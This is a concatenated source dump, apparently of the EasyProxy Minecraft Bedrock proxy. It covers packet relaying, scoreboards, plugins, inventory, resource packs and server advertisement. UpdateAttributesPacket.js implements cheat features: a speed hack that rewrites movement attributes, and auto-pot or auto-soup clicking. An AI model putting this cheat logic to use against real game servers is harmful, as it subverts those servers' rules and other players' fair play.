EncapsulatedPacket, Reliability } = require('jsp-raknet') 3 | const debug = require('debug')('minecraft-protocol') 4 | 5 | function connect (host, port) { 6 | if (isMainThread) { 7 | const worker = new Worker(__filename) 8 | worker.postMessage({ type: 'connect', host, port }) 9 | return worker 10 | } 11 | } 12 | 13 | let raknet 14 | 15 | function main () { 16 | parentPort.on('message', (evt) => { 17 | if (evt.type === 'connect') { 18 | const { host, port } = evt 19 | raknet = new Client(host, port) 20 | 21 | raknet.connect().then(() => { 22 | debug('Raknet Connected!') 23 | }) 24 | 25 | raknet.on('connecting', () => { 26 | debug(`[client] connecting to ${host}/${port}`) 27 | parentPort.postMessage('message', { type: 'connecting' }) 28 | }) 29 | 30 | raknet.once('connected', (connection) => { 31 | debug('[worker] connected!') 32 | globalThis.raknetConnection = connection 33 | parentPort.postMessage({ type: 'connected' }) 34 | }) 35 | 36 | raknet.on('encapsulated', (...args) => { 37 | parentPort.postMessage({ type: 'encapsulated', args }) 38 | }) 39 | 40 | raknet.on('disconnect', (reason) => { 41 | debug('[worker] disconnected!') 42 | parentPort.postMessage({ type: 'disconnect', reason }) 43 | }) 44 | 45 | raknet.on('raw', (buffer, inetAddr) => { 46 | debug('Raw packet', buffer, inetAddr) 47 | }) 48 | } else if (evt.type === 'queueEncapsulated') { 49 | const sendPacket = new EncapsulatedPacket() 50 | sendPacket.reliability = Reliability.ReliableOrdered 51 | sendPacket.buffer = evt.packet 52 | 53 | globalThis.raknetConnection?.addEncapsulatedToQueue(sendPacket) 54 | if (evt.immediate) { 55 | globalThis.raknetConnection?.sendQueue() 56 | } 57 | } else if (evt.type === 'close') { 58 | raknet.close() 59 | process.exit(0) 60 | } else if (evt.type === 'ping') { 61 | raknet.ping((args) => { 62 | parentPort.postMessage({ type: 'pong', args }) 63 | }) 64 | } 65 | }) 66 | } 67 | 68 | if (!isMainThread) main() 69 | module.exports = { connect } 70 | -------------------------------------------------------------------------------- /software/src/scoreboard/Scoreboard.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const SetDisplayObjectivePacket = require("../packet/SetDisplayObjectivePacket"); 16 | const SetScorePacket = require("../packet/SetScorePacket"); 17 | class Scoreboard 18 | { 19 | player; 20 | displayName; 21 | 22 | lines = []; 23 | 24 | entries = []; 25 | 26 | /** @param Player {Player} */ 27 | constructor(Player) 28 | { 29 | this.player = Player; 30 | } 31 | 32 | /** @param value {string} */ 33 | setScoreboardName(value) 34 | { 35 | this.displayName=value; 36 | } 37 | 38 | getScoreboardName() 39 | { 40 | return this.displayName; 41 | } 42 | 43 | /** @param value {string} */ 44 | addLine(value) 45 | { 46 | this.lines.push(value); 47 | } 48 | 49 | getLines() 50 | { 51 | return this.lines; 52 | } 53 | 54 | setEntries(entries) 55 | { 56 | this.entries=entries; 57 | } 58 | 59 | getEntries() 60 | { 61 | return this.entries; 62 | } 63 | 64 | send() 65 | { 66 | let pk1 = new SetDisplayObjectivePacket(this.player); 67 | pk1.create(this.displayName); 68 | 69 | let pk2 = new SetScorePacket(this.player); 70 | let entries = []; 71 | for (let i = 0; i < this.lines.length; i++) { 72 | pk2.create(i, this.lines[i]); 73 | entries.push({ 74 | scoreboard_id: i, 75 | objective_name: 'objective', 76 | score: i, 77 | entry_type: 'fake_player', 78 | custom_name: this.lines[i] 79 | }); 80 | } 81 | 82 | this.player.getScoreboardContent().setEntries(entries); 83 | this.lines=[]; 84 | } 85 | } 86 | 87 | module.exports = Scoreboard; -------------------------------------------------------------------------------- /software/src/utils/webhook/Embed.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const XMLHttpRequest = require('xhr2'); 16 | const request = new XMLHttpRequest(); 17 | class WebHook 18 | { 19 | data = {}; 20 | 21 | constructor() {} 22 | 23 | setAuthor(name, url = undefined, icon_url = undefined) 24 | { 25 | if(this.data.author === undefined) this.data.author={}; 26 | this.data.author.name=name; 27 | if(url !== undefined) this.data.author.url=url; 28 | if(url !== undefined) this.data.author.icon_url=icon_url; 29 | } 30 | 31 | setTitle(title) 32 | { 33 | this.data.title=title; 34 | } 35 | 36 | setURL(url) 37 | { 38 | this.data.url=url; 39 | } 40 | 41 | setDescription(description) 42 | { 43 | this.data.description=description; 44 | } 45 | 46 | setColor(color) 47 | { 48 | this.data.color=hexToDecimal(color); 49 | } 50 | 51 | setFooter(footer, icon_url = undefined) 52 | { 53 | if(this.data.footer === undefined) this.data.footer={}; 54 | this.data.footer.text=footer; 55 | if(icon_url !== undefined) this.data.footer.icon_url=icon_url; 56 | } 57 | 58 | addFields(name, value) 59 | { 60 | if(this.data.fields === undefined) this.data.fields=[]; 61 | this.data.fields.push({name: name, value: value}); 62 | } 63 | 64 | setThumbnail(url) 65 | { 66 | this.data.thumbnail={}; 67 | this.data.thumbnail.url=url; 68 | } 69 | 70 | setImage(url) 71 | { 72 | this.data.image={}; 73 | this.data.image.url=url; 74 | } 75 | 76 | getData() 77 | { 78 | return this.data; 79 | } 80 | } 81 | module.exports = WebHook; 82 | 83 | function hexToDecimal(hex) { 84 | return parseInt(hex.replace("#",""), 16); 85 | } -------------------------------------------------------------------------------- /software/src/network/Packet.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | 16 | const fs = require("fs"); 17 | const Path = require("path"); 18 | const Effect = require("../effect/Effect"); 19 | const EffectId = require("../effect/EffectIds"); 20 | 21 | class Packet 22 | { 23 | player; 24 | 25 | /** @param player {Player} */ 26 | constructor(player) 27 | { 28 | this.player=player; 29 | 30 | this.receive(); 31 | this.send(); 32 | 33 | player.getBedrockPlayer().on('clientbound', (pk) => { 34 | //console.log(pk.name, pk.params); 35 | }); 36 | 37 | player.getBedrockPlayer().on('serverbound', (pk) => { 38 | //console.log(pk.name, pk.params); 39 | }); 40 | } 41 | 42 | receive() 43 | { 44 | const eventFiles = fs.readdirSync(Path.join(process.cwd() + '/src/network/receive')).filter(file => file.endsWith('.js')); 45 | this.player.getBedrockPlayer().on('clientbound', (pk) => { 46 | for (const file of eventFiles) { 47 | /** @var Event */ 48 | const pkg = require(`./receive/${file}`); 49 | if(pkg.name === pk.name) { 50 | pkg.receive(this.player, pk); 51 | } 52 | } 53 | }); 54 | } 55 | 56 | send() 57 | { 58 | const eventFiles = fs.readdirSync(Path.join(process.cwd() + '/src/network/send')).filter(file => file.endsWith('.js')); 59 | this.player.getBedrockPlayer().on('serverbound', (pk) => { 60 | for (const file of eventFiles) { 61 | const pkg = require(`./send/${file}`); 62 | if(pkg.name === pk.name) { 63 | pkg.send(this.player, pk); 64 | } 65 | } 66 | }); 67 | } 68 | } 69 | 70 | module.exports = Packet; -------------------------------------------------------------------------------- /software/src/plugin/PluginManager.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const VersionInfo = require("../VersionInfo"); 16 | const Logger = require("../logger/Logger"); 17 | const {getLangConfig, getLangConfiguration} = require("../ServerInfo"); 18 | const ServerInfo = require("../ServerInfo"); 19 | let plugins = []; 20 | module.exports = { 21 | load(plugin) 22 | { 23 | let API = VersionInfo.VERSION.split('.'); 24 | let PLUGIN_API = plugin.getApi().split('.'); 25 | if(API[0] !== PLUGIN_API[0] || API[1] !== PLUGIN_API[1]){ 26 | if(ServerInfo.getServer().messages) Logger.error(getLangConfig()["plugin"]["invalid-api"].replace("{PLUGIN}", plugin.getName())); 27 | return; 28 | } 29 | if(ServerInfo.getServer().messages) Logger.info(getLangConfiguration().getNested("plugin.loading").replace("{PLUGIN}", plugin.getName()).replace("{VERSION}", `v${plugin.getVersion()}`)); 30 | plugins.push(plugin); 31 | }, 32 | 33 | unload(plugin) 34 | { 35 | if(plugins[plugin] === undefined)return false; 36 | delete(plugins[plugin]); 37 | }, 38 | 39 | unloadAll() 40 | { 41 | plugins.forEach((plugin) => { 42 | if(ServerInfo.getServer().messages) Logger.debug(getLangConfig()["plugin"]["disabling"].replace("{PLUGIN}", plugin.getName())); 43 | plugin.onDisable(); 44 | delete(plugin); 45 | }); 46 | }, 47 | 48 | enablingAll() 49 | { 50 | plugins.forEach((plugin)=> { 51 | plugin.onEnable(); 52 | if(ServerInfo.getServer().messages) Logger.info(getLangConfiguration().getNested("plugin.enabling").replace("{PLUGIN}", plugin.getName()).replace("{VERSION}", `v${plugin.getVersion()}`)); 53 | }); 54 | }, 55 | 56 | getAll() 57 | { 58 | return plugins; 59 | } 60 | } -------------------------------------------------------------------------------- /software/src/player/WorldManager.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const SetTimePacket = require("../packet/SetTimePacket"); 16 | 17 | class WorldManager 18 | { 19 | player; 20 | 21 | dimension; 22 | spawnPosition; 23 | gamerule; 24 | 25 | time = 0; 26 | timeServer = 0; 27 | timecycle = true; 28 | 29 | constructor(player) 30 | { 31 | this.player=player; 32 | } 33 | 34 | getTime() 35 | { 36 | return this.time; 37 | } 38 | 39 | /** 40 | * @param number {number} 41 | */ 42 | setTime(number) 43 | { 44 | let pk = new SetTimePacket(this.player); 45 | pk.setTime(number); 46 | pk.create(); 47 | } 48 | 49 | /** 50 | * @param value {boolean} 51 | */ 52 | setTimeCycle(value) 53 | { 54 | this.timecycle=value; 55 | } 56 | 57 | getTimeCycle() 58 | { 59 | return this.timecycle; 60 | } 61 | 62 | /** 63 | * @param value {number} 64 | */ 65 | setTimeServer(value) 66 | { 67 | this.timeServer=value; 68 | } 69 | 70 | getTimeServer() 71 | { 72 | return this.timeServer; 73 | } 74 | 75 | getDimension() 76 | { 77 | return this.dimension; 78 | } 79 | 80 | setDimension(value) 81 | { 82 | this.dimension = value; 83 | } 84 | 85 | getSpawnPosition() 86 | { 87 | return this.spawnPosition; 88 | } 89 | 90 | setSpawnPosition(value) 91 | { 92 | this.spawnPosition = value; 93 | } 94 | 95 | getGamerule() 96 | { 97 | return this.gamerule; 98 | } 99 | 100 | setGamerule(value) 101 | { 102 | this.gamerule = value; 103 | } 104 | } 105 | module.exports = WorldManager; -------------------------------------------------------------------------------- /software/src/player/InventoryManager.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const Item = require("../item/Item"); 16 | 17 | class InventoryManager 18 | { 19 | player; 20 | 21 | inventory; 22 | maxhotbarslot = 8; 23 | 24 | itemInHand; 25 | 26 | /** @param Player {Player} */ 27 | constructor(Player) 28 | { 29 | this.player = Player; 30 | this.inventory=new Map(); 31 | 32 | for (let i = 0; i < 28; i++){ 33 | this.setVoidItemInSlot(i); 34 | } 35 | } 36 | 37 | /** 38 | * @return {Map} 39 | */ 40 | getContents() 41 | { 42 | return this.inventory; 43 | } 44 | 45 | /** 46 | * @return {number} 47 | */ 48 | getMaxHotBarSlot() 49 | { 50 | return this.maxhotbarslot; 51 | } 52 | 53 | /** 54 | * @param slot 55 | * @return {Item} 56 | */ 57 | getItemBySlot(slot) 58 | { 59 | return this.inventory.get(slot); 60 | } 61 | 62 | /** 63 | * @param slot {number} 64 | * @param item {Item} 65 | */ 66 | setItemBySlot(slot, item) 67 | { 68 | this.inventory.set(slot, item); 69 | } 70 | 71 | setVoidItemInSlot(slot) 72 | { 73 | this.inventory.set(slot, new Item({ 74 | window_id: 'inventory', 75 | slot: slot, 76 | item: { 77 | network_id: 0, 78 | count: 0, 79 | metadata: 0, 80 | has_stack_id: 0, 81 | stack_id: 0, 82 | block_runtime_id: 0, 83 | extra: {} 84 | }, 85 | })); 86 | } 87 | 88 | getItemInHand() 89 | { 90 | return this.itemInHand; 91 | } 92 | 93 | setItemInHand(item) 94 | { 95 | this.itemInHand=item; 96 | } 97 | } 98 | 99 | module.exports = {InventoryManager}; -------------------------------------------------------------------------------- /software/src/network/receive/AvailableCommandsPacket.js: -------------------------------------------------------------------------------- 1 | const ServerInfo = require("../../ServerInfo"); 2 | module.exports = { 3 | name: "available_commands", 4 | 5 | receive(Player, packet) 6 | { 7 | let commands = ServerInfo.getServer().getCommandMap().getAll(); 8 | packet.params.values_len += commands.length; 9 | 10 | commands.forEach((command) => { 11 | packet.params.enum_values.push(`/${command.getName()}`); 12 | packet.params.command_data.push({ 13 | name: `/${command.getName()}`, 14 | description: command.getDescription(), 15 | flags: 0, 16 | permission_level: 0, 17 | alias: -1, 18 | overloads: [[{ 19 | parameter_name: "args", 20 | value_type: "raw_text", 21 | enum_type: "valid", 22 | optional: true, 23 | options: { 24 | unused: 0, 25 | collapse_enum: 0, 26 | has_semantic_constraint: 0, 27 | as_chained_command: 0, 28 | unknown2: 0 29 | } 30 | }]] 31 | }); 32 | 33 | /*if(command.getAliases() !== null) { 34 | command.getAliases().forEach((alias) => { 35 | packet.params.enum_values.push(`/${alias}`); 36 | packet.params.command_data.push({ 37 | name: `/${alias}`, 38 | description: command.getDescription(), 39 | flags: 0, 40 | permission_level: 0, 41 | alias: -1, 42 | overloads: [[{ 43 | parameter_name: "args", 44 | value_type: "raw_text", 45 | enum_type: "valid", 46 | optional: true, 47 | options: { 48 | unused: 0, 49 | collapse_enum: 0, 50 | has_semantic_constraint: 0, 51 | as_chained_command: 0, 52 | unknown2: 0 53 | } 54 | }]] 55 | }); 56 | }); 57 | }*/ 58 | }); 59 | 60 | } 61 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/server/advertisement.js: -------------------------------------------------------------------------------- 1 | const { Versions, CURRENT_VERSION } = require('../options') 2 | 3 | const data = require('../../../../../server.json'); 4 | const ServerInfo = require('../../../../src/ServerInfo'); 5 | const EasyProxyInfo = require("../../../../src/EasyProxyInfo"); 6 | 7 | class ServerAdvertisement { 8 | levelName = 'EasyProxy (bedrock-protocol)' 9 | gamemode = 'Creative' 10 | serverId = Date.now().toString() 11 | gamemodeId = 1 12 | portV4 = undefined 13 | portV6 = undefined 14 | 15 | constructor (obj, port, version = CURRENT_VERSION) { 16 | if (obj?.name) obj.motd = obj.name 17 | this.protocol = Versions[version] 18 | this.version = version 19 | this.portV4 = port 20 | this.portV6 = port 21 | Object.assign(this, obj) 22 | } 23 | 24 | fromString (str) { 25 | const [header, motd, protocol, version, playersOnline, playersMax, serverId, levelName, gamemode, gamemodeId, portV4, portV6] = str.split(';') 26 | Object.assign(this, { header, motd, protocol, version, playersOnline, playersMax, serverId, levelName, gamemode, gamemodeId, portV4, portV6 }) 27 | for (const numeric of ['playersOnline', 'playersMax', 'gamemodeId', 'portV4', 'portV6']) { 28 | if (this[numeric] !== undefined) { 29 | this[numeric] = this[numeric] ? parseInt(this[numeric]) : null 30 | } 31 | } 32 | return this 33 | } 34 | 35 | toString () { 36 | return [ 37 | 'MCPE', 38 | ServerInfo.getServerDataByID(EasyProxyInfo.getServerID()).get('motd') + " - " + data["version"], 39 | this.protocol, 40 | this.version, 41 | ServerInfo.getServerDataByID(EasyProxyInfo.getServerID()).get('playersOnline'), 42 | ServerInfo.getServerDataByID(EasyProxyInfo.getServerID()).get('playersMax'), 43 | this.serverId, 44 | this.levelName, 45 | this.gamemode, 46 | this.gamemodeId, 47 | this.portV4, 48 | this.portV6, 49 | '0' 50 | ].join(';') + ';' 51 | } 52 | 53 | toBuffer (version) { 54 | const str = this.toString(version) 55 | const length = Buffer.byteLength(str) 56 | const buf = Buffer.alloc(2 + length) 57 | buf.writeUInt16BE(length, 0) 58 | buf.write(str, 2) 59 | return buf 60 | } 61 | } 62 | 63 | module.exports = { 64 | ServerAdvertisement, 65 | getServerName (client) { 66 | return new ServerAdvertisement().toBuffer() 67 | }, 68 | fromServerName (string) { 69 | return new ServerAdvertisement().fromString(string) 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /software/src/network/send/SetLocalPlayerAsInitializedPacket.js: -------------------------------------------------------------------------------- 1 | const EasyProxyInfo = require("../../EasyProxyInfo"); 2 | const PlayerJoinEvent = require("../../event/list/send/PlayerJoinEvent"); 3 | const EventManager = require("../../event/EventManager"); 4 | const PlayerCommandProcessEvent = require("../../event/list/send/PlayerCommandProcessEvent"); 5 | const VersionInfo = require("../../VersionInfo"); 6 | const TextFormat = require("../../format/TextFormat"); 7 | module.exports = { 8 | name: "set_local_player_as_initialized", 9 | 10 | /** 11 | * @param Player {Player} 12 | * @param packet {Packet} 13 | */ 14 | send(Player, packet) 15 | { 16 | Player.getData().set("id", `${Player.getUniqueID()}`); 17 | Player.getData().set("name", Player.getName()); 18 | Player.getData().set("xuid", Player.getXuid()); 19 | Player.getData().set("lastposition", {x: Math.round(Player.getPosition().getX()), y: Math.round(Player.getPosition().getY()), z: Math.round(Player.getPosition().getZ())}); 20 | Player.getData().set("health", Player.getHealth()); 21 | Player.getData().set("maxHealth", Player.getMaxHealth()); 22 | Player.getData().set('food', Player.getHungerManager().getFood()); 23 | Player.getData().set('saturation', Player.getHungerManager().getSaturation()); 24 | let inv = []; Player.getInventory().getContents().forEach((value) => inv.push({slot: value.obj.slot, item: value.obj.item})); 25 | Player.getData().set("inventory", inv); 26 | Player.getData().set("skin_data", Player.getSkinData()); 27 | Player.getData().setNested("last-redirect.address", Player.getNetworkSession().getRedirectAddress()); 28 | Player.getData().setNested("last-redirect.port", Player.getNetworkSession().getRedirectPort()); 29 | Player.getData().save(); 30 | 31 | Player.sendMessage(TextFormat.STRIKETHROUGH); 32 | Player.sendMessage(TextFormat.ITALIC + TextFormat.GRAY + `This proxy is currently running the ${VersionInfo.VERSION} version of ${VersionInfo.NAME}!`); 33 | Player.sendMessage(TextFormat.STRIKETHROUGH); 34 | 35 | const EventManager = require("../../event/EventManager"); 36 | let events = EventManager.getALl(); 37 | events.forEach((event) => { 38 | try { 39 | let listener = new PlayerJoinEvent(Player, packet); 40 | event.onPlayerJoin(listener); 41 | if(listener.isCancelled()){packet = null; return false;} 42 | }catch (e){} 43 | }); 44 | } 45 | } -------------------------------------------------------------------------------- /software/src/pack/PackManager.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const crypto = require('crypto'); 3 | const PacketSend = require("./PackSend"); 4 | const JSZip = require("jszip"); 5 | const PackManifest = require("./types/PackManifest"); 6 | const fread = require('kc-fread'); 7 | 8 | /** 9 | * @type {ResourcePack[]} 10 | */ 11 | let PACKS = []; 12 | let PACKET_SEND = []; 13 | 14 | module.exports = { 15 | /** 16 | * @param pack {ResourcePack} 17 | */ 18 | register(pack) 19 | { 20 | PACKS.push(pack); 21 | }, 22 | 23 | getAll() 24 | { 25 | return PACKS; 26 | }, 27 | 28 | getAllPacketSend() 29 | { 30 | return PACKET_SEND; 31 | }, 32 | 33 | getTexturePacksInfo() 34 | { 35 | let packs = []; 36 | PACKS.forEach((pack) => { 37 | packs.push({ 38 | uuid: pack.getPackUuid(), 39 | version: pack.getVersion(), 40 | size: BigInt(pack.getPackSize()), 41 | content_key: pack.getContentKey(), 42 | sub_pack_name: '', 43 | content_identity: pack.getPackUuid(), 44 | has_scripts: false, 45 | rtx_enabled: false 46 | }); 47 | }); 48 | return packs; 49 | }, 50 | 51 | download(player) 52 | { 53 | let send = new PacketSend(player); 54 | PACKET_SEND.push({name: player.getName(), send: send}); 55 | PACKS.forEach((pack) => { 56 | let pk = { 57 | name: 'resource_pack_data_info', 58 | params: { 59 | pack_id: pack.getPackUuid(), 60 | max_chunk_size: pack.getPackChunkSize(), 61 | chunk_count: Math.ceil(pack.getPackSize() / pack.getPackChunkSize()), 62 | size: pack.getPackSize(), 63 | hash: pack.getHash(), 64 | is_premium: false, 65 | pack_type: "resources" 66 | } 67 | } 68 | player.sendDataPacket(pk); 69 | for (let i = 0; i < pk.params.chunk_count; i++){ 70 | let payload; 71 | fread(pack.packPath, (err, str) => {payload=str}); 72 | send.addPacket({ 73 | name: "resource_pack_chunk_data", 74 | params: { 75 | pack_id: pack.getPackUuid(), 76 | chunk_index: i, 77 | progress: pack.getPackChunkSize() * i, 78 | payload: payload 79 | } 80 | }); 81 | } 82 | }); 83 | } 84 | } -------------------------------------------------------------------------------- /software/src/network/receive/UpdateAttributesPacket.js: -------------------------------------------------------------------------------- 1 | const EventManager = require("../../event/EventManager"); 2 | const PlayerCommandProcessEvent = require("../../event/list/send/PlayerCommandProcessEvent"); 3 | const PlayerUpdateAttributesEvent = require("../../event/list/receive/PlayerUpdateAttributesEvent"); 4 | const ItemID = require("../../item/ItemID"); 5 | module.exports = { 6 | name: "update_attributes", 7 | 8 | receive(Player, packet) 9 | { 10 | if(Player.getCheatManager().isSpeedHack()) { 11 | packet.params.attributes = [ 12 | { 13 | min: 0, 14 | max: 3.4028234663852886e+38, 15 | current: Player.getCheatManager().getSpeedHackValue(), 16 | default: Player.getCheatManager().getSpeedHackValue(), 17 | name: 'minecraft:movement', 18 | modifiers: [] 19 | } 20 | ] 21 | } 22 | 23 | const EventManager = require("../../event/EventManager"); 24 | let events = EventManager.getALl(); 25 | events.forEach((event) => { 26 | try { 27 | let listener = new PlayerUpdateAttributesEvent(Player, packet); 28 | event.onPlayerUpdateAttribute(listener); 29 | if(listener.isCancelled()){packet = null; return false;} 30 | }catch (e){} 31 | }); 32 | 33 | packet.params.attributes.forEach((attribute) => { 34 | if(attribute.name === "minecraft:health") { 35 | Player.health = attribute.current; 36 | if((Player.getCheatManager().isAutoPot() || Player.getCheatManager().isAutoSoup()) && 14 >= attribute.current) { 37 | for (let i = 0; i < 9; i++) { 38 | let item = Player.getInventory().getItemBySlot(i); 39 | if(Player.getCheatManager().isAutoPot() && item.getID() === 568 && item.getMeta() === 22) { 40 | Player.click(i); 41 | break; 42 | } 43 | if(Player.getCheatManager().isAutoSoup() && (item.getID() === ItemID.SLIME_BALL || item.getID() === ItemID.NUMERIC_MUSHROOM_STEW)) { 44 | Player.click(i); 45 | break; 46 | } 47 | } 48 | } 49 | } 50 | if(attribute.name === "minecraft:player.hunger") Player.getHungerManager().setFood(attribute.current); 51 | if(attribute.name === "minecraft:player.saturation") Player.getHungerManager().setSaturation(attribute.current); 52 | }); 53 | } 54 | } -------------------------------------------------------------------------------- /software/src/waypoints/Waypoints.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const AddPlayerPacket = require("../packet/AddPlayerPacket"); 16 | const UUIDGenerator = require("uuid"); 17 | const PlayerSkinPacket = require("../packet/PlayerSkinPacket"); 18 | const AddEntityPacket = require("../packet/AddEntityPacket"); 19 | const {Player} = require("../player/Player"); 20 | const RemoveEntityPacket = require("../packet/RemoveEntityPacket"); 21 | const Console = require("console"); 22 | const TextFormat = require("../format/TextFormat"); 23 | const Entity = require("../entity/Entity"); 24 | const EntityIdsString = require("../entity/EntityIdsString"); 25 | const EntityBoundingBox = require("../entity/EntityBoundingBox"); 26 | const EntityManager = require("../entity/EntityManager"); 27 | 28 | class Waypoints 29 | { 30 | waypoints = []; 31 | 32 | player; 33 | 34 | /** 35 | * @param Player {Player} 36 | */ 37 | constructor(Player) 38 | { 39 | this.player=Player; 40 | } 41 | 42 | /** 43 | * @param name {string} 44 | * @param 